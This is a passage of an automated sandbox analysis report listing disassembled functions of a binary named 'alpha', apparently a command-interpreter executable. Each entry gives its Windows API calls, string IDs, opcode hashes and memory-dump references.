                                                                                                                                                                                                                                  • API ID: CriticalSection$BufferConsoleEnterFileFlushHandleInputLeaveType_get_osfhandle_getch
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 491502236-0
                                                                                                                                                                                                                                  • Opcode ID: 8373e10dbfc9a4468a9e4ef0bcd3e42a1bbec5329b7cae27ce80a7d261832e6f
                                                                                                                                                                                                                                  • Instruction ID: cff746ca56f94ed267e1354aac70001420772ead9817092162db5fd660b76325
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 8373e10dbfc9a4468a9e4ef0bcd3e42a1bbec5329b7cae27ce80a7d261832e6f
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: A801D476105360BFEB146BA4AC0EBAE7B64DF01721F14021AF805D62E0DFB99D80CAB1
                                                                                                                                                                                                                                  Function 00D16488 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 296COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                    • Part of subcall function 00D16513: memset.MSVCRT ref: 00D16593
                                                                                                                                                                                                                                    • Part of subcall function 00D1DC60: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,?,00000000,?,00000000,00D18E86,00D18E5A,00000000), ref: 00D1DC98
                                                                                                                                                                                                                                    • Part of subcall function 00D1DC60: RtlFreeHeap.NTDLL ref: 00D1DC9F
                                                                                                                                                                                                                                  • memset.MSVCRT ref: 00D2A097
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: Heapmemset$FreeProcess
                                                                                                                                                                                                                                  • String ID: *.*
                                                                                                                                                                                                                                  • API String ID: 1291122668-438819550
                                                                                                                                                                                                                                  • Opcode ID: 983760aff3030510c3784be31851d1d8c42a56fda5d31453487e375b35cfa7a3
                                                                                                                                                                                                                                  • Instruction ID: 14c1d6863837d79696c1ad0b6b5117f4644d2785d72f2f3abd0777d22f01329f
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 983760aff3030510c3784be31851d1d8c42a56fda5d31453487e375b35cfa7a3
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 3BB1F371D00224EFDB24DFA8E941AEEB7B2EF68714F184059E805AB245DB31DD91CBB1
                                                                                                                                                                                                                                  Function 00D35948 Relevance: 7.3, APIs: 2, Strings: 2, Instructions: 252registryCOMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • RegEnumKeyExW.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,00000000,?,?,00000000,00000000,00000000,00000000), ref: 00D35997
                                                                                                                                                                                                                                    • Part of subcall function 00D1AB7F: iswspace.MSVCRT ref: 00D1AB8D
                                                                                                                                                                                                                                    • Part of subcall function 00D1AB7F: wcschr.MSVCRT ref: 00D1AB9E
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: Enumiswspacewcschr
                                                                                                                                                                                                                                  • String ID: %s=%s$\Shell\Open\Command
                                                                                                                                                                                                                                  • API String ID: 3493821229-3301834661
                                                                                                                                                                                                                                  • Opcode ID: 05d74adc0951728097375df80afddabee1fb19fd8d2523220fbb094ddc2d4c45
                                                                                                                                                                                                                                  • Instruction ID: 72c39da3fba7d0b633785b521c293ade9af1c201c858b4336ff6eff381165154
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 05d74adc0951728097375df80afddabee1fb19fd8d2523220fbb094ddc2d4c45
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 20816071E006195BDF249F28EC95BFA737AEF94704F1841A9E40A97245EF709E81CBB0
                                                                                                                                                                                                                                  Function 00D1CCD0 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 178COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID:
                                                                                                                                                                                                                                  • String ID: GeToken: (%x) '%s'$Ungetting: '%s'
                                                                                                                                                                                                                                  • API String ID: 0-1704545398
                                                                                                                                                                                                                                  • Opcode ID: 15a781481c3ecb31a48349c0baf159a9c6cfea7357856f3d1d7d1220a352a6ef
                                                                                                                                                                                                                                  • Instruction ID: 92f319bdf90f3fd7e52c1e2b84661b3b4b856248f7c265b9f3892222374db6db
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 15a781481c3ecb31a48349c0baf159a9c6cfea7357856f3d1d7d1220a352a6ef
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 28514775AA0301B6DB246B64B8157FA7A62EB51358F18513AE806C7390EFB1CCC1C7B2
                                                                                                                                                                                                                                  Function 00D34DBD Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 145COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: iswdigit$wcstol
                                                                                                                                                                                                                                  • String ID: aApP
                                                                                                                                                                                                                                  • API String ID: 644763121-2547155087
                                                                                                                                                                                                                                  • Opcode ID: e0722c9f5804eef80fc4102018f7e5c3fcf1dac4e766028f56f57aca8c3ca132
                                                                                                                                                                                                                                  • Instruction ID: 05489052ffe921cb725224d485fae7004e3e971c2a29ad6e3ac05e7aa3a4b537
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: e0722c9f5804eef80fc4102018f7e5c3fcf1dac4e766028f56f57aca8c3ca132
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: A141E77560022686CF249F68D4915BFB3B5FF55701F1C442AF946EB280EA38ED82C671
                                                                                                                                                                                                                                  Function 00D357A8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 138registryCOMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • RegEnumKeyExW.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,00000000,?,?,00000000,00000000,00000000,00000000), ref: 00D357F8
                                                                                                                                                                                                                                  • GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(00000000,?,00000000,?,?,00000000,00000000,00000000,00000000), ref: 00D35886
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: EnumErrorLast
                                                                                                                                                                                                                                  • String ID: %s=%s$.
                                                                                                                                                                                                                                  • API String ID: 1967352920-4275322459
                                                                                                                                                                                                                                  • Opcode ID: b024e0e4499471a2faf6637830afd7719884fbdec7fd165f26acc5c4bb1caca8
                                                                                                                                                                                                                                  • Instruction ID: f26f00ab7788b4e09f75840264899223a0d5f78e242d0fa560249a9132c8039c
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: b024e0e4499471a2faf6637830afd7719884fbdec7fd165f26acc5c4bb1caca8
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 6E411D75E0062597CB34AB29AC95AFB7375EF94310F1845ADE80A97245DEB08E41CEF0
                                                                                                                                                                                                                                  Function 00D3A759 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 119COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • memset.MSVCRT ref: 00D3A79F
                                                                                                                                                                                                                                    • Part of subcall function 00D1E3F0: memset.MSVCRT ref: 00D1E455
                                                                                                                                                                                                                                  • GetDiskFreeSpaceExW.API-MS-WIN-CORE-FILE-L1-1-0(?,?,?,?,?,-00000105,?,?,?), ref: 00D3A83C
                                                                                                                                                                                                                                  • ??_V@YAXPAX@Z.MSVCRT(?,-00000105,?,?,?), ref: 00D3A8B5
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: memset$DiskFreeSpace
                                                                                                                                                                                                                                  • String ID: %5lu
                                                                                                                                                                                                                                  • API String ID: 2448137811-2100233843
                                                                                                                                                                                                                                  • Opcode ID: 8fbecc3cfab66e2b87fd351bc990e4e9429773f284875fc727aef5a2e045ff8f
                                                                                                                                                                                                                                  • Instruction ID: 160bcb0e11df935c29d66287a6442a5a9c3bd4ae6a20a5825d888e4a69ca5657
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 8fbecc3cfab66e2b87fd351bc990e4e9429773f284875fc727aef5a2e045ff8f
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: FE416671A00219ABDF14DBA4DCD5BEEB7B8EF18304F0444A9E905A7281EB749E85CB71
                                                                                                                                                                                                                                  Function 00D3378A Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 111COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • OpenSemaphoreW.API-MS-WIN-CORE-SYNCH-L1-1-0(001F0003,00000000,?), ref: 00D33835
                                                                                                                                                                                                                                  • GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00D33847
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: ErrorLastOpenSemaphore
                                                                                                                                                                                                                                  • String ID: _p0$wil
                                                                                                                                                                                                                                  • API String ID: 1909229842-1814513734
                                                                                                                                                                                                                                  • Opcode ID: 65c17c9cc78aab4e6ed170c450e1803b0051b7ef7ed0be7bf37b0acb8b54e9c8
                                                                                                                                                                                                                                  • Instruction ID: b08ab3e85f14edddb48feee5b27bb023f1c953f454b2b0f6da06a39163eb6e6b
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 65c17c9cc78aab4e6ed170c450e1803b0051b7ef7ed0be7bf37b0acb8b54e9c8
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 6341E8B1E012298FCB25DF28C9555A977B5EF94700F188299E809D7344DB70DF45CBB0
                                                                                                                                                                                                                                  Function 00D3237E Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 110synchronizationCOMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • GetCurrentProcessId.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0(00000040), ref: 00D3239F
                                                                                                                                                                                                                                  • CreateMutexExW.API-MS-WIN-CORE-SYNCH-L1-1-0(00000000,?,00000000,001F0001), ref: 00D323CD
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: CreateCurrentMutexProcess
                                                                                                                                                                                                                                  • String ID: Local\SM0:%d:%d:%hs$wil
                                                                                                                                                                                                                                  • API String ID: 3937467467-2303653343
                                                                                                                                                                                                                                  • Opcode ID: 56200bf2991c0eddc6453f01e5564d89e19a714b3c70fee941df5759437773f1
                                                                                                                                                                                                                                  • Instruction ID: c9a91356269f28097f5317bdf9fbc13d1a651ab80c364779cfa6f97dd1cd40eb
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 56200bf2991c0eddc6453f01e5564d89e19a714b3c70fee941df5759437773f1
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 9F41C771E4122CABCB21DB54DC89AFAB7B5EFA4700F144195E809A7341DB709F858FB1
                                                                                                                                                                                                                                  Function 00D3B222 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 90COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • memset.MSVCRT ref: 00D3B25E
                                                                                                                                                                                                                                    • Part of subcall function 00D1E3F0: memset.MSVCRT ref: 00D1E455
                                                                                                                                                                                                                                  • _wcslwr.MSVCRT ref: 00D3B2D2
                                                                                                                                                                                                                                  • ??_V@YAXPAX@Z.MSVCRT(00000000,-00000001,?,?,?), ref: 00D3B30B
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: memset$_wcslwr
                                                                                                                                                                                                                                  • String ID: [%s]
                                                                                                                                                                                                                                  • API String ID: 886762496-302437576
                                                                                                                                                                                                                                  • Opcode ID: 2bfb2195533fee4911fe606d8e6f31e8b33a8d77d0c2458378c60bb610d65f3e
                                                                                                                                                                                                                                  • Instruction ID: 18fb244d013200f3fa88b0c87d4bb1bed2b35d4b9de360d54bcf91bea0260ee0
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 2bfb2195533fee4911fe606d8e6f31e8b33a8d77d0c2458378c60bb610d65f3e
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 62318471B01219ABDB14DBE9E885BEFBBA8EF18355F080069A605D3241DB74DD448B70
                                                                                                                                                                                                                                  Function 00D24BAF Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 86COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: _wcsnicmp
                                                                                                                                                                                                                                  • String ID: /-Y$COPYCMD
                                                                                                                                                                                                                                  • API String ID: 1886669725-617350906
                                                                                                                                                                                                                                  • Opcode ID: d6506bfe78cfa07bc1dd3b45dc9d15d61b6eaf9458f6cd4c603736d5f0b0add3
                                                                                                                                                                                                                                  • Instruction ID: ff93ff1fea403af252f7adcaa858ab4c176ef55a19c9ed1339fba5aa0ea94a2a
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: d6506bfe78cfa07bc1dd3b45dc9d15d61b6eaf9458f6cd4c603736d5f0b0add3
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 7F216B71A00231ABCB288B1DAC557BABAF5EFA535CF550059EC49A7240EA70CD41D270
                                                                                                                                                                                                                                  Function 00D19E09 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                    • Part of subcall function 00D19E8E: iswspace.MSVCRT ref: 00D19E9E
                                                                                                                                                                                                                                  • iswspace.MSVCRT ref: 00D19E28
                                                                                                                                                                                                                                  • _wcsnicmp.MSVCRT ref: 00D19E79
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: iswspace$_wcsnicmp
                                                                                                                                                                                                                                  • String ID: off
                                                                                                                                                                                                                                  • API String ID: 3989682491-733764931
                                                                                                                                                                                                                                  • Opcode ID: ff5e8b09de771ed6ea14ffcb8ce4c013d78c99a3ec18edc1db37df5467de793d
                                                                                                                                                                                                                                  • Instruction ID: ddbd592219850df97b067d9cf5bf64ab762659c5001d1efa33ed97952b6fd9a2
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: ff5e8b09de771ed6ea14ffcb8ce4c013d78c99a3ec18edc1db37df5467de793d
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: CE114C35706321B9EA24A2A8FC3ABFAD2549F80B65F1C002DFD56D30C1EE41CDC081B1
                                                                                                                                                                                                                                  Function 00D35166 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 55COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                    • Part of subcall function 00D2727B: __iob_func.MSVCRT ref: 00D27280
                                                                                                                                                                                                                                  • fprintf.MSVCRT ref: 00D35182
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: __iob_funcfprintf
                                                                                                                                                                                                                                  • String ID: CMD Internal Error %s$%s$Null environment
                                                                                                                                                                                                                                  • API String ID: 620453056-2781220306
                                                                                                                                                                                                                                  • Opcode ID: 818a65016df15b61f1f6713973e38e8097cd3b4459e66e5f8f0339abcc466092
                                                                                                                                                                                                                                  • Instruction ID: 62f2613f67e9d4c7c4eda6b48b37309a4e8c01fabb91aeaa4bd97a218e933327
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 818a65016df15b61f1f6713973e38e8097cd3b4459e66e5f8f0339abcc466092
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: CC017B37A04B12AEC7342B5CB816AB37364DBD0324B19052BEC9AD3148F9619D4285B4
                                                                                                                                                                                                                                  Function 00D33500 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 26libraryloaderCOMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • GetModuleHandleW.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0(ntdll.dll), ref: 00D3351B
                                                                                                                                                                                                                                  • GetProcAddress.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0(00000000,RtlDllShutdownInProgress), ref: 00D3352C
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: AddressHandleModuleProc
                                                                                                                                                                                                                                  • String ID: RtlDllShutdownInProgress$ntdll.dll
                                                                                                                                                                                                                                  • API String ID: 1646373207-582119455
                                                                                                                                                                                                                                  • Opcode ID: d6cabcc10f2954eb75b4ad597c2e4b1b30a1a857ab7819f96222b2209ca80a11
                                                                                                                                                                                                                                  • Instruction ID: 4232b77c1b2a779ffb05f96b6444911a9e479aee853503b0ac5e9dae937aedba
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: d6cabcc10f2954eb75b4ad597c2e4b1b30a1a857ab7819f96222b2209ca80a11
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 6FE01231A417309B8B615B7CBE0999A7B94A744B627050155ED09E33D0DA708D458EF1
                                                                                                                                                                                                                                  Function 00D338F0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 21libraryloaderCOMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
